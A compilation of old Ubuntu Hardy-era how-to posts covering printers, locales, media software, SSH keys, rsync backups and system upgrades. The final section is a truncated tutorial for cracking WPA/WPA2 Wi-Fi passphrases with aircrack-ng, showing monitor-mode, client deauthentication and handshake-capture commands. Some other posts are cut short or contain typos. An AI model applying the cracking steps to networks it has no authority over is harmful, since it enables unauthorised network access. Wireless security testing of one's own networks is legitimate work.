Howto Set Gnome Calendar First Day of Week in Ubuntu

This tutorial will explain how to change the gnome calendar first day of the week to Monday.

Check which locale you are using (mine is en_US, don't worry about the .UTF ending)

locale

Next, backup and edit the applicable locale file (use the result of the previous command if not en_US).

sudo cp /usr/share/i18n/locales/en_US /usr/share/i18n/locales/en_US.bak

gksudo gedit /usr/share/i18n/locales/en_US

Locate the following line and change the value. The value for Monday in en_US was 2. Select the appropriate number if you desire another day to be the start day.

first_weekday 2

Save the file and then

Update the locales

sudo locale-gen

Refresh the desktop

killall gnome-panel

The first day should now be Monday

HowTo setup Canon iRC 2880i printer in Ubuntu 8.04 (Hardy Heron)

If you want to setup Canon iRC 2880i printer in Hardy follow this procedure

1. Goto System->Administration->Printing

2. Create a new printer queue


3. Select the type of connection to the printer (mine is Windows Printer via SAMBA)

4. Input the printer settings eg: 10.0.0.1/NameOfPrinter and authentication if needed

5. For drivers use Generic->PCL 5c->Generic PCL 5c Printer Foomatic/hpijs

6. Give it a name and you're set to go

If you would also like to print in colour then this is where the fun begins.

You will need the UFR Printer Drivers from Canon .

If you're using the iRC 2880 then you can go straight here

Once you have the drivers and have extracted them then follow these steps.

Note: If you are using a version of Ubuntu that is older than Hardy you should just be able to run the deb file in the Debian folder and then you can skip to step 6

1. If you try and run the deb file in the Debian folder in Hardy it will give a dependency error regarding libcupsys2-gnutls10. So...

2. Run sudo apt-get install alien

3. Go to the extracted drivers RPM directory in a Terminal

4. Run sudo alien -c *.rpm (The -c will include any scripts in the package)

5. Run your newly created deb packages. First the cups common one then the driver one.

6. Follow the intructions above for the setting up of only black & white printing up to and including step 4

7. For drivers use Canon->iR C2880/C3380 UFR II->iR C2880/C3380 UFR II (or whatever model you are using)

8. Give it a name and you should now be printing in colour

In case you were wondering why you get the dependency error in step 1, the reason is that the Debian package was converted from a RPM one, using alien. Alien picked up the dependencies that where present on the system that the package was initially created.

Source from here

Howto Install Lightscribe in ubuntu

LaCie has released the first software that allows burning labels on LightScribe media using LightScribe drives under Linux.


This guide will help you install the base Lightscribe software and the 4L Disk Labeling software on a 32-bit or 64-bit Ubuntu install.

Open a terminal.

1. Create a temporary workspace in your home directory.

Note: You can delete this directory when you are finished installing the software.

mkdir workspace

cd workspace

2. Download the 32-bit .deb files and an icon for Lightscribe

wget http://download.lightscribe.com/ls/lightscribe-1.12.37.1-linux-2.6-intel.deb

wget http://uploads.mitechie.com/lightscribe/4l_1.0-r6_i386.deb

wget http://lawrencecomputing.dyn-o-saur.com/lightscribe/lightscribe.png

Install the .deb files in the console with the force-architecture flag

Important: Make sure to do these steps in this order (lightscribe then 4L)

For 32-bit

sudo dpkg -i lightscribe-1.12.37.1-linux-2.6-intel.deb

sudo dpkg -i 4l_1.0-r6_i386.deb

For 64-bit

sudo dpkg --force-architecture -i lightscribe-1.12.37.1-linux-2.6-intel.deb

sudo dpkg --force-architecture -i 4l_1.0-r6_i386.deb


4. Fix the missing liblightscribe.so.1 error

sudo ln -s /usr/lib/liblightscribe.so.1 /usr/lib32/

sudo ln -s /usr/lib/liblightscribe.so /usr/lib32/

sudo ldconfig

Note: The program should run now. You can test this by pressing Alt+F2 and running

sudo 4L-gui

5. Copy the icon file into Ubuntu's shared icon directory

sudo cp lightscribe.png /usr/share/pixmaps/4L-gui.png

6. Create a shortcut to launch the 4L Disk Labeler as root

a. Right Click on the Ubuntu Menu Bar and choose Edit Menus.

b. In the left pane labeled menus choose either "Sound & Video" or "System Tools".

c. Then, click new item.

Enter this information into the window:

Type: Application
Name: Lightscribe
Command: sudo 4L-gui
Comment: Label a disc with Lightscribe

Note: You can automatically generate an icon by leaving out the sudo from "sudo 4L-gui" in the command field. You must add sudo to the command or the program will not function. Ubuntu will search for an icon in /usr/shared/pixmaps with the same name as the command. Alternatively, you can click the spring icon and browse for the Lightscribe icon.

Note: You can burn a label twice if it is not dark enough. Don't worry about the orientation of the disc, the drive will align it for you.

Ubuntu Tip:How To Get Flash Working in Opera 9.27

The current version of Flash 9.0.115.0 does not work with the current version of Opera 9.27. but Opera9.27 does work with Flash 9.0.48.0. This is how to get that working without making trouble for firefox or later versions of Opera that are coming and will work with Flash 9.0.115.0


To get flash to work in Opera 9.27 which is the version available in the repository you must do the following:


First go here which is the adobe repository for older versions of flash and download flashplayer 9 to your desktop or wherever. Unpack it. The readme will direct you to the folder with the linux version which is 9r48. Unpack that.

You can use archive manager which is in Applications/ Accessories to do this part. If you can't see it there go to System/Preferences/Main Menu and check the box to make it visible.

This will then create a folder called install_flash_player_9_linux. Take the file in there called libflashplayer.so and move it to /usr/lib/opera/plugins.

Now just type sudo nautlius in a terminal and use two nautilus windows to go to the right locations and did a drag and drop.

Important Note:- Do not use nautlius like this unless you are absolutely sure about what you are doing and be sure to close it right away when you are finished. It is easily possible to put your system in an unrecoverable state by moving random files around as root.

Then navigate over to /usr/share/opera/ini and open the pluginpath.ini file. Scroll down to the section that says ; Flash and comment out the lines:

/usr/lib/flash-plugin=1
/usr/lib/flashplugin-nonfree=1

and add the line:

/usr/lib/opera/plugins=1

so it looks like this:

; Flash
#/usr/lib/flash-plugin=1
#/usr/lib/flashplugin-nonfree=1
/usr/lib/opera/plugins=1

Save it and get out of there.

Now flash should work in your opera and enjoy

When you get Opera 9.5 you can just remove the comment marks and the line you added in /usr/share/opera/ini/pluginpath.ini and just put the old flash in the trash.

How to Create Screenshots via CLI with scrot

scrot is a commandline screen capture util like "import", but using imlib2.

It has lots of options for autogenerating filenames, and can do fun stuff like taking screenshots of multiple displays and glueing them together.

Install Scrot in Ubuntu

sudo aptitude install scrot

This will complete the installation.

Using Scrot

Example scrot commands
1. Capture screen and save file to working directory:

scrot

2. Capture screen in 5 seconds time:

scrot -d 5

3. Capture screen in 5 seconds time, name file with time stamp and screen dimensions:

scrot -d 5 '%Y-%m-%d--%s_$wx$h_scrot.png'

4. As above, but move file into "images" directory and open the image with GIMP:

scrot -d 5 '%Y-%m-%d--%s_$wx$h_scrot.png' -e 'mv $f ~/images/ & gimp ~/images/$f'

scrot Options
See below for a full list of options:

Usage : scrot [OPTIONS]... [FILE]
Where FILE is the target file for the screenshot.
If FILE is not specified, a date-stamped file will be dropped in the
current directory.
See man scrot for more details
-h, --help display this help and exit
-v, --version output version information and exit
-b, --border When selecting a window, grab wm border too
-c, --count show a countdown before taking the shot
-d, --delay NUM wait NUM seconds before taking a shot
-e, --exec APP run APP on the resulting screenshot
-q, --quality NUM Image quality (1-100) high value means
high size, low compression. Default: 75.
For lossless compression formats, like png,
low quality means high compression.
-m, --multidisp For multiple heads, grab shot from each
and join them together.
-s, --select interactively choose a window or rectangle
with the mouse
-t, --thumb NUM generate thumbnail too. NUM is the percentage
of the original size for the thumbnail to be,
or the geometry in percent, e.g. 50x60 or 80x20.

SPECIAL STRINGS
Both the --exec and filename parameters can take format specifiers
that are expanded by scrot when encountered.
There are two types of format specifier. Characters preceded by a '%'
are interpreted by strftime(2). See man strftime for examples.
These options may be used to refer to the current date and time.
The second kind are internal to scrot and are prefixed by '$'
The following specifiers are recognised:
$f image path/filename (ignored when used in the filename)
$m thumbnail path/filename
$n image name (ignored when used in the filename)
$s image size (bytes) (ignored when used in the filename)
$p image pixel size
$w image width
$h image height
$t image format
$$ prints a literal '$'
n prints a newline (ignored when used in the filename)
Example:
scrot '%Y-%m-%d_$wx$h_scrot.png' -e 'mv $f ~/images/shots/'
Creates a file called something like 2000-10-30_2560x1024_scrot.png
and moves it to your images directory.

This program is free software see the file COPYING for licensing info.
Copyright Tom Gilbert 2000

Source from here

How to Create Passwordless SSH Private/Public Key Pair on Ubuntu

An SSH key pair is needed to connect to an SSH server. It is possible to create a passwordless key pair so as to bypass the password prompt when you connect to your SSH server. This is handy for when you need to automate some processes through scripting. Follow the instructions below to create a new passwordless key pair:


1. Install OpenSSH. On Ubuntu, you can install OpenSSH by opening your terminal and typing:

sudo apt-get install openssh-client

2. Once OpenSSH is installed, stay in the terminal and type:

ssh-keygen -t dsa -f ~/.ssh/id_dsa

3. When prompted for a password, leave blank and hit enter, then enter again to confirm. Your key pair will be created and stored in ~/.ssh/ as id_dsa.pub [public key] and id_dsa [private key]

Next, you will need to copy the contents of id_dsa.pub to a file named authorized_keys and transfer the file to the target system you wish to connect to. Follow the instructions below:

1. Create the new file with the following command:

touch ~/.ssh/authorized_keys

2. Apply the correct permissions:

chmod 600 ~/.ssh/authorized_keys

3. Copy the contents of id_dsa.pub to the new file:

cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys

Finish by transferring the new file to the target server. You should now be able to connect to your SSH server without having to enter a password.

Source from here

How to install RealPlayer on Ubuntu

The instructions below detail how to download and install RealPlayer on Ubuntu Linux. The instructions also enable the Mozilla/Firefox plugin and optionally remove Real's imposed audio icons:


1. Open a terminal and enter the following command to download RealPlayer:

wget http://www.real.com/realcom/R?href=http://forms.real.com/real/player/download.html?f=unix/RealPlayer11GOLD.bin

2. Make the file executable with the following command:

chmod a+x RealPlayer11GOLD.bin

3. Run the executable as root and enter your password when prompted:

sudo ./RealPlayer11GOLD.bin

4. If everything is working, you should see this message, hit enter:

Extracting files for Helix installation........................

Welcome to the RealPlayer (11.0.0.4028) Setup for UNIX
Setup will help you get RealPlayer running on your computer.
Press [Enter] to continue...

5. When prompted, install to /opt/real/RealPlayer, just hit enter:

Enter the complete path to the directory where you want
RealPlayer to be installed. You must specify the full
pathname of the directory and have write privileges to
the chosen directory.
Directory: [/opt/real/RealPlayer]

6. Enter "F" at the following screen to confirm:

You have selected the following RealPlayer configuration:

Destination: /opt/real/RealPlayer

Enter [F]inish to begin copying files, or [P]revious to go
back to the previous prompts: [F]:

7. If all goes well, RealPlayer should install and you will be dumped back to the prompt:

Copying RealPlayer files...Path setup done.
Succeeded.
installing application icons resource...
installing document icons resource...
....Succeeded.
Configuring Mozilla...
Installing .mo locale files...
Setting selinux context...
Succeeded.

RealPlayer installation is complete.
Cleaning up installation files...
Done.

8. Optional: delete the RealPlayer download with the following command:

rm RealPlayer11GOLD.bin

9. Copy the Mozilla/Firefox plugins to your plugins directory, enter the command:

cp /opt/real/RealPlayer/mozilla/nphelix.so ~/.mozilla/plugins/nphelix.so && cp /opt/real/RealPlayer/mozilla/nphelix.xpt ~/.mozilla/plugins/nphelix.xpt

10. Optional: remove RealPlayer audio icons from system:

sudo /opt/real/RealPlayer/postinst/install_icon_resource.sh uninstall

Source from here

How to install 150 Extra GIMP Brushes for Ubuntu

By default GIMP comes with a rather limited set of brushes. There's a package available from the Ubuntu repositories to install some extra brushes, however this is also a little limited.This package will allow you to install more packages for gimp brushes.


1. Open your apt sources.list file for editing with the following terminal command:

gksudo gedit /etc/apt/sources.list

2. Add the following two lines to the bottom of the file:

deb http://ppa.launchpad.net/corenominal/ubuntu gutsy main
deb-src http://ppa.launchpad.net/corenominal/ubuntu gutsy main

Save and exit the file

3.Update the source list using the following command

sudo apt-get update

4. Still in the terminal, enter the following command to install the package

sudo apt-get install gimp-brushes

5. Enjoy your new GIMP brushes!

Howto Increase video performance in Ubuntu

On some reasons by default these modules are not present in X11 config, but, to the measure for me these modules in 2 times accelerate the capacity of performance.



First you need to take the backup of your xorg.conf file using the following command

cp /etc/X11/xorg.conf /etc/X11/xorg.conf.back

Now you need to edit /etc/X11/xorg.conf file using the following command

sudo gedit /etc/X11/xorg.conf

Add the following lines

Section "Module"
Load "i2c"
Load "bitmap"
Load "ddc"
Load "dri"
Load "extmod"
Load "freetype"
Load "glx" # If you have VESA driver, comment this.
Load "int10"
Load "vbe"
EndSection

Save and exit the file.

Howto Setup Lexmark Z55 printer in Ubuntu Hardy Heron

This tutorial describes how to install a Lexmark Z55 printer on Hardy Heron.

By default the wrong driver is installed for the Z55 which causes the printer to squeal and fail to print. A driver is available from the Lexmark website for Linux rpm distributions.


1. Download

Download the file CJLZ55LE-CUPS-1.0-1.TAR.GZ from the Drivers and Downloads section of the Lexmark website. Select a Linux distribution such as Mandrake.

2. Uninstall the existing driver

System->Administration->Printing

Expand "Local Printers"

Click on "Lexmark_Z55" to select it

Press the "Delete" button and confirm with OK

3. Create directory

Create a directory to work in and move the downloaded file into this new directory.

mkdir lexmark

mv CJLZ55LE-CUPS-1.0-1.TAR.GZ lexmark

4. Extract rpm files from the download

tail -n +143 lexmarkz55-CUPS-1.0-1.gz.sh > install.tgz

tar -xvzf install.tgz

5. Convert rpm files into deb packages

First install the alien package if you have not already done so.

sudo apt-get install alien

Now convert the files ignoring any warnings.

sudo alien lexmarkz55-CUPS-1.0-1.i386.rpm

sudo alien z55llpddk-2.0-2.i386.rpm

Save the deb files in a safe place. For subsequent installations you can use these files.

6. Install the packages

The deb files can now be installed using any method you prefer. To install from the command line type:

sudo dpkg -i z55llpddk_2.0-3_i386.deb

sudo dpkg -i lexmarkz55-cups_1.0-2_i386.deb

7. Unzip ppd file


cd /usr/share/cups/model

sudo gunzip Lexmark-Z55-lxz55cj-cups.ppd.gz

8. Install the new driver

System->Administration->Printing

Press the "New Printer" button

Select "Lexmark Z55 USB #1"

Press "Forward"

Select "Provide PPD file"

Click on the file icon on the right hand side of the box below

Using the file picker select /usr/share/cups/model/Lexmark-Z55-lxz55cj-cups.ppd

Press "Forward"


Press "Apply"

Auto-mounting internal drives in Ubuntu

So I've noticed when running Ubuntu that while my external drives will show up on my desktop when I turn the computer on, my internal drives don't. They were still accessible from the Places Menu, but they had to mount on the first click, and then I could open them. Obviously, this is not the desired behavior. So I did a bit of digging and I found the problem. HAL apparently tells gnome-volume-manager not to auto-mount internal drives. I found the file containing this policy, and fixed the problem.

The file is this one:

/etc/hal/fdi/policy/preferences.fdi

sudo gedit /etc/hal/fdi/policy/preferences.fdi

To fix it so that internal drives will show up on your desktop when you boot up, change this line

PDF printing from Firefox in Ubuntu Hardy

Hopefully, this will prove useful to anyone who is trying to print a webpage using the CUPS-PDF virtual printer only to find that the resulting file has truncated text because the webpage was too wide (e.g. menu frame on the side).


Resizing the page using Zoom only changes what you see on the screen rather than what you print.

1. In Firefox, use FILE - PAGE SETUP to change the size to something larger, e.g. A3

2. Then CTRL+P to print, but instead of using the 'Print to PDF' option, choose 'Print to File instead. In the window that opens, then select PDF as 'Output Format'.

Getting your Dell service tag number from command line in Ubuntu

If you’re using Ubuntu with a Dell computer, there is a handy command to get your service tag number. This is handy in support situations when the service tag number can’t be read because it’s inaccessible, too small, or simply gone.


Open the terminal window in the Accessories > Applications menu and type the following command

sudo dmidecode -s system-serial-number

Howto Join Ubuntu 8.04 (Hardy Heron) To A Windows Domain

Likewise Open enables Linux, Unix and Mac authentication on a Microsoft network using Active Directory. A user can now interactively log in to the Linux, Unix or Mac machine using Active Directory credentials, and can access any kerberized services that the non-Windows machine hosts.



What it Does

Likewise Open supports over 110 UNIX, Linux and Mac platforms

Joins Linux, Unix and Mac systems to Microsoft Windows Active Directory domains

Authenticates users with a single user name and password on both Windows and non-Windows systems

Enforces the same password policies for non-Windows users as for Windows users

Install and Configure likewise-open

Use the following steps

sudo apt-get update

sudo apt-get install likewise-open

sudo domainjoin-cli join fqdn.of.your.domain Administrator

sudo update-rc.d likewise-open defaults

sudo /etc/init.d/likewise-open start

After that is done, you can log out, then log back in with your domain\username account (You have to add the domain\ first).

How to install Firefox 3 RC1 on Ubuntu Hardy

If you want to install firefox Firefox 3 RC1 in ubuntu hardy follow these simple steps


You just need to add the following to your /etc/apt/sources.list

sudo gedit /etc/apt/sources.list

add the following line

deb http://ppa.launchpad.net/fta/ubuntu hardy main

save and exit the file

Then you only need to update the source list

apt-get update

and then upgrade with the following command

apt-get dist-upgrade or to install the firefox-3.0 package if you haven’t do it before.

Howto Duplicate Audio CDs using cdrdao in Ubuntu

This guide aims to show how to duplicate audio cds from the command line using one of my favourite programs: cdrdao.


Identify your drive

First of all cdrdao needs to know where to find your drive and the following command will give you the required information. I show the results from my own computer, your results will of course differ slightly:


$ sudo cdrdao scanbus
[sudo] password for andrew:
Cdrdao version 1.2.2 - (C) Andreas Mueller
SCSI interface library - (C) Joerg Schilling
Paranoia DAE library - (C) Monty

Check http://cdrdao.sourceforge.net/drives.html#dt for current driver tables.

Using libscg version 'ubuntu-0.8ubuntu1'

1,0,0 : Optiarc , DVD+-RW AD-5560A, DD11

So the scsi address for my drive is 1,0,0 for bus,id,lun and since this is a single drive computer it will be both the source and destination drive in my command line. The results of this command give a hint as well concerning the driver that cdrdao will use. Have a look at the URL given and see if your drive is mentioned there but you will probably find that the generic-mmc driver will work well enough with most modern drives.

All the other settings

With the drive and the driver successfully identified it remains only to decide on a few other elements to form our command line:

* Write speed: There are a thousand theories regarding the correct speed to burn an audio cd. I prefer to burn slowly so I have selected a speed of 8.

* Buffers: This specifies the number of buffers available to prevent under-run. Each buffer holds 1 second of audio data so divide the buffers by the write speed to give the maximum time for which reading of audio data may be stalled. With buffers of 128, as I have selected, and write speed of 8 this gives 16 seconds before under-run will occur..

* Error Checking: It is possible to set error checking for the digital audio extraction and I prefer to set this to maximum. This slows the whole process down a little but guarantees better quality.


So now all the settings are decided and it is time to assemble the command line.

If you really want you can type out the whole command line each time you want to duplicate an audio cd but there is a easy way. First create the following file:


$ sudo gedit /etc/cdrdao.conf

Next open it with your favourite text editor and then simply add all the settings that we have discussed above into this file in the following format:


#---- cdrdao.conf ----#
write_buffers: 128
write_device: "1,0,0"
write_driver: "generic-mmc"
read_device: "1,0,0"
read_driver: "generic-mmc"
read_paranoia_mode: 3
write_speed: 8

Now when you wish to duplicate an audio cd place the source cd in your drive and use the following command:


$ sudo cdrdao copy

And the rest of the process will continue with the only intervention required by you being the replacement of the source cd with a blank, writeable cd when prompted. How cool is that!

========================
Other useful commands:
========================

The man page for cdrdao is well written and quite comprehensive and I strongly suggest that you read it well. Below are a few 'high points', options that may be useful with the syntax above:

* --keepimage: If you are using the 'copy' command the cd image is automatically removed at the completion of the write process. This option allows the image to remain and to then be written to another cd if you wish.
* --simulate: Used in the writing process as: 'sudo cdrdao write --simulate'. This will perform the write process fully but in simulation only. Very useful to test settings.
* --blank-mode minimal: Add this option in to blank your cd quickly. If you wish to blank the cd completely use the option '--blank-mode full'.

HOW TO Enable Additional Print Preview Buttons in Firefox

step-by-step tutorial on how to make these print preview buttons appear:

1. Open Firefox.

2. In the URL area (i.e., the bar that displays the internet address), clear the existing text and then type: "about:config"


3. If propmpted, click OK to by-pass the warning.

4. In the Filter field near the top of the page, filter for the phrase "print.while"

5. Find the "print.whileInPrintPreview" option -- it may be the only one displayed. Double-click on the option to set it for true


Now, when you enter print preview, you should see the buttons for page scaling as well as options for landscape and portrait page orientations.

Fix boot GUI resolution in Ubuntu

Everytime I install Ubuntu, my usplash (the boot GUI) is 640x480. So here is howto make the usplash resolution fit your display resolution:


1. Open a terminal and type:

sudo gedit /etc/usplash.conf

This will ask you for your userpasswd, so you can edit that file with root permissions.

You will get something like this:

# Usplash configuration file
# These parameters will only apply after running update-initramfs.
xres=640
yres=480

OR


# Usplash configuration file
# These parameters will only apply after running update-initramfs.

2. Adjust xres and yres to your tagrgeted resolution, e.g. for 1280x1024:

# Usplash configuration file
# These parameters will only apply after running update-initramfs.
xres=1280
yres=1024

Save via

3. You now must update your initramfs so the changes take effect:

sudo update-initramfs -u

4. Finish. Enjeoy your well-sized usplash-boot-screen

Installing Rubyripper on Ubuntu 8.04

Rubyripper is a digital audio extraction algorithm that uses cdparanoia in a sophisticated way to make sure that a CD rip is done successfully and accurately. It is very similar to and inspired by EAC. Rubyripper is written in the ruby programming language.

How is Rubyripper different from other CD rippers?

This differs from programs like K3b and Sound Juicer because it is much more thorough. Rubyripper rips each audio track at least twice, then compares each rip for differences and attempts to make the most accurate compilation of rips it possibly can. The result? Higher quality CD rips.

Installation

1. First, let's make sure that all the dependancies to Rubyripper are met. There are several packages that Rubyripper depends on that need to be installed prior to installing Rubyripper. Let's install these packages by opening up the terminal and typing

sudo aptitude install cd-discid cdparanoia ruby ruby-pkg-tools libgettext-ruby1.8 libgtk2-ruby

This command should install all the packages you need to run Rubyripper

2. Next, download the Rubyripper, version 0.5.0 here, on the official Rubyripper site.

3. Extract the files in the Rubyripper archive. You can either do this either through the GUI or through CLI:

* GUI: Right click on the file you just downloaded and select the "Extract Here" option.

* CLI: Open up the terminal, navigate to the directory where you downloaded Rubyripper, and run

tar xjvf rubyripper-0.5.0.tar.bz2

4. From here on out, it will be CLI only, so keep that terminal open!

5. In the terminal, navigate to the file you just extracted using cd. For example, if you extracted the file to your desktop, then you would write

cd /home/USERNAME/Desktop

6. Next, we'll tell Rubyripper what features we want to be installed. Copy and paste the following into the terminal:

./configure --enable-lang-all --enable-gtk2 --enable-cli --prefix=/usr

The above installs the GUI and CLI options, along with all the language support available. This is the recommended and most complete way to configure Rubyripper.

7. Finally, run

sudo make install

to finish the installation.

Rubyripper should now be in Applications -> Sound & Video.

Uninstallation

If you find you are unhappy with Rubyripper, for whatever reason, uninstalling is a snap.

1. First, you basically replicate Step 4 from the Installation process: open up your terminal again and navigate back to the directory you extracted in Step 3.

2. Next, run the following command to uninstall Rubyripper:

sudo make uninstall

3. Finally, run the following command to clean up all files left by Rubyripper:

sudo make clean

How to Upgrade Ubuntu Server from Feisty (7.04) to Hardy (8.04)

This tutorial will explain how to upgrade Ubuntu Server from Feisty to Hardy

Step 1: Feisty to Gusty Upgrade

first be sure your feisty up-to-date

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade


if everything ok, ready for upgrade to gusty.

nano /etc/apt/source.list

all change "feisty" to "gutsy"

save and exit (ctrl-x, yes)

sudo apt-get update
sudo apt-get dist-upgrade


(one package doesn't upgrade : mailscanner
but this step its fix:
nano /etc/init.d/mailscanner

around 124 line (do_stop function) add 'exit 0'

do_stop()
{ exit 0
# Return
# 0 if daemon has been stopped
# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred
start-stop-daemon --stop --retry=TERM/30 --name $NAME
RETVAL="$?"
[ "$RETVAL" = 2 ] && return 2

# Remove lockfile for cronjobs
if [ $RETVAL -eq 0 ]; then
rm -f /var/lock/subsys/mailscanner
touch $stopped_lockfile
fi

}


save and exit.

and re-apply
sudo apt-get dist-upgrade

command. its works. there some warning related with mailscanner but not important (for now)

and reboot

my server is gutsy, now.

step 2. Gutsy to Hardy upgrade

nano /etc/apt/source.list

all change "gutsy" to "hardy"

save and exit (ctrl-x, yes)

sudo apt-get update
sudo apt-get dist-upgrade

one package doesn't upgrade : mailscanner
but no problem

reboot

mailscanner fix:

first backup your mailscanner folder. (/etc/mailscanner)

sudo cp -R /etc/mailscanner /etc/mailscanner_backup


sudo apt-get remove --purge mailscanner

(if removing results same error, around 124 line (do_stop function) add 'exit 0')

wget http://http.us.debian.org/debian/pool/main/m/mailscanner/mailscanner_4.68.8-1_all.deb
sudo dpkg -i mailscanner_4.68.8-1_all.deb

and

nano /etc/default/mailscanner

# Uncomment this line once MailScanner has been fully configured.
#
run_mailscanner=1

save and exit..

replace your backup mailscanner folder (/etc/mailscanner)

sudo cp -R /etc/mailscanner_backup /etc/mailscanner

/etc/init.d/mailscanner start

How To Replace ScreenCapture with KSnapshot

On Windows I've become quite happy with Snag-It. In searching for something comparable on Ubuntu, I've found KSnapshot.


I miss the Ctrl-Shift-P shortcut to launch the application, so I've decided to get Fn-PrtSc to launch KSnapshot. Maybe you will find this more to your liking ...

1. Use the Synaptic Package Manager and install 'ksnapshot'
2. Open a Terminal window, after 'ksnapshot' is installed
3. Type the following commands:

cd /usr/bin
sudo mv gnome-screenshot gnome-screenshot.orig
sudo ln -s ksnapshot gnome-screenshot

Now, when you press Fn-PrtSc, KSnapshot will be launched.

The only downside is ... if you're trying to get a screen capture for something going on at that very moment - something that's possibly fleeting fast - this won't be good for you.

But, KSnapshot offers window-under-cursor, section-of-window, screen, and region capture capabilities.

How to Disable "Smarter" Address Bar in Firefox 3

The "smarter" address bar might be help for some people.if you want to disable follow this.


The first step, in the address bar, enter in
about:config

It should give you some warning. Just disregard it.

In the search bar, enter:
browser.urlbar

Change the browser.urlbar.matchOnlyTyped boolean to True.
(Double click it)

Next, change the browser.urlbar.maxRichResults integer to 0.
(Double click and enter in 0 instead of current number)

Install Ubuntu 8.04 ( Hardy Heron) without a CD-ROM

Things you'll Need

1) Ubuntu Hardy Heron (8.04) ALTERNATE .iso (see below)

2) At least 2 partitions on your HD

3) vmlinuz & initrd.gz files from Hardy - NOT the ones included on the .iso (see below)




Steps:

1) Download the ALTERNATE .iso from the Ubuntu download site:

http://www.ubuntu.com/getubuntu/download

REMEMBER: mark the "Check here if you need the alternate desktop CD." option, on the botton.

2) Download both vmlinuz & initrd.gz files, Hardy's version, from this site:

http://archive.ubuntu.com/ubuntu/dists/hardy/main/installer-i386/current/images/hd-media/

3) Create an /boot folder on your secondary HD partition, and move the alternate .iso and the vmlinuz & initrd.gz from step (2) onto it.

4) If you don't have Grub already installed, install it on a removable media or Hard Disk. Then, edit your /boot/grub/menu.lst and add the following entry:


title Install Ubuntu Hardy
root (hd0,2)
kernel /boot/vmlinuz vga=normal ramdisk_size=149720 root=/dev/rd/0 rw --
initrd /boot/initrd.gz


**(hd0,2) refers to the 1st hard drive 'hd0' and the 3rd partition '2'.

The counting of partitions and hard drives starts at zero. Linux loves making life complicated

Change (hd0,2) to match the drive and partition of your .iso file.

e.g (hd1,3) Refers to drive 2 and partition 4.

5) OK! You are ready to go! Now reboot your system (with the removeable media if you installed Grub on it) and choose the "Install Ubuntu Hardy" entry.


6) Now follow the installation as usual, which should be working as if the disk was in the CD-ROM tray.

How to Backup using Rsync in Ubuntu

rsync is a software application for Unix systems which synchronizes files and directories from one location to another while minimizing data transfer using delta encoding when appropriate. An important feature of rsync not found in most similar programs/protocols is that the mirroring takes place with only one transmission in each direction. rsync can copy or display directory contents and copy files, optionally using compression and recursion.


In daemon mode, rsync listens to the default TCP port of 873, serving files in the native rsync protocol. rsync can also be used to synchronize local directories, or via a remote shell such as RSH or SSH. In the latter case, the rsync client executable must be installed on both the local and the remote host.

The rsync command

sudo rsync -av --progress --delete --log-file=/home/your-username/Desktop/$(date +%Y%m%d)_rsync.log --exclude "/home/your-username/.gvfs" /home /media/HomeBackup

the -av bit: 'a' means archive, or copy everything recursively preserving things like permissions, ownership and time stamps. The 'v' is verbose, so it tells you what its doing, either in the terminal, in in this case, in the log file. --progress gives you more specific info about progress.

--delete checks for changes between source and destination, and deletes any files at the destination that you've deleted at the source. --log-file saves a copy of the rsync result to a date-stamped file on my desktop.

--exclude leaves out any files or directories you don't want copied. In my case, the .gvfs directory in Hardy Heron was a pain as even with sudo it errored and wouldn't copy properly, so I excluded it (Its not necessary to copy it anyway) If you don't use Hardy yet, or any distro using the latest Gnome, skip this line, or upgrade!

/home is the directory I want copied. /home copies the directory and its contents, /home/ would just copy the contents

/media/HomeBackup is the separate drive. Change this to whatever your backup location is. You can actually have this drive off-site and use ssh, but that will be a tutorial for another day!


The bash script

I was just pasting this command into Terminal each day, but wanted something automatic, so step one was a bash script.

Very easy, just open a new document in your favourite text editor, and type #!bin/bash followed by the command itself on a new line. So:

#!/bin/bash
sudo rsync -av --progress --delete --log-file=/home/your-username/Desktop/$(date +%Y%m%d)_rsync.log --exclude "/home/your-username/.gvfs" /home /media/HomeBackup


Save that as rsync-shell.sh on your Desktop and make it executable by typing
sudo chmod +x /home/your-username/Desktop/rsync-shell.sh

or by right-clicking the file, select Properties, Permissions and then checking the Execute box


You can now double click that .sh file, choose 'Run in Terminal', it will ask you for your password and run, then leave a log file on your desktop.

or, you can make a cron job to do it for you!


The cron job

My biggest obstacle with this was the sudo bit. rsync won't be able to backup all files, or delete any, without root privileges. I didn't want to have to be there when it runs to type in my password, but after a bit of searching I found out how to make a root cron job.

Copy your .sh file to /root by typing
sudo cp /home/your-username/Desktop/rsync-shell.sh /root

Then type
sudo crontab -e

You'll see a line which reads: # m h dom mon dow command

Under that type
0 22 * * * /root/rsync-shell.sh

What this all means is:

1. The number of minutes after the hour (0 to 59)
2. The hour in military time (24 hour) format (0 to 23)
3. The day of the month (1 to 31)
4. The month (1 to 12)
5. The day of the week(0 or 7 is Sun, or use name)
6. The command to run

So at 22:00 (10pm) every day root will run the shell script, without prompting you for sudo password (because its running as root already)

Now press Control-X, then type Y, then press enter.

You'll see crontab: installing new crontab

Souce From here

Crack a WPA/WPA2 Wifi Network using Ubuntu 7.10 (Gutsy)

what is the Difference Between cracking a WPA network and WPA2 network,Nothing !! There is no difference between cracking a WPA or WPA2 networks at all.In order to sucessfully crack any WPA/WPA2 network,there are 2 main things must happen


1) U must capture the Full 4 Way Handshake.

2) Your Passphrase must be in the DICTIONARY you choose in order to sucessfully BruteForce.

We will be using the aircrack-ng suite of tools and a small dictionary file on Ubuntu.

There are a few ways to crack a WPA / WPA2 PSK password this is just one of them.

This method is usally vunerable because of the end user, as most people will use a pass phrase thats easy to remember.
bcz evry body doesnt want to keep long password.

You will need the following details

A Client connected to the AP to Deauth

ESSID = this is the Name of your wireless network i.e MYWIRELESS
BSSID = this is the MAC address of your AP and will be in this format 00:1C:10:26:A9:39 everyone’s is different so make sure
you write it down correctly or the following will not work

Channel = This will be the channel your AP is Broadcasting on i.e channel 7

ALSO you will need a decent dictionary file you can find many of these around on the internet google is your friend on this one,then lets start below are the Steps

Step 1 - Start the wireless interface in monitor mode

Airmon-ng strat wifi0 (starts ur Interface with Monitor mode)
Airodump-ng ath0 (Monitors the Access point available)

Step 2 - Start airodump-ng to collect authentication handshake

Airodump-ng -c 11 -w psk –bssid 00:1C:10:26:A9:39 ath0

Where:

-c 11 is the channel for the wireless network

- -bssid 00:1C:10:26:A9:39 is the access point MAC address. This eliminate extraneous traffic.

-w psk is the file name prefix for the file which will contain the IVs.

ath0 is the interface name.

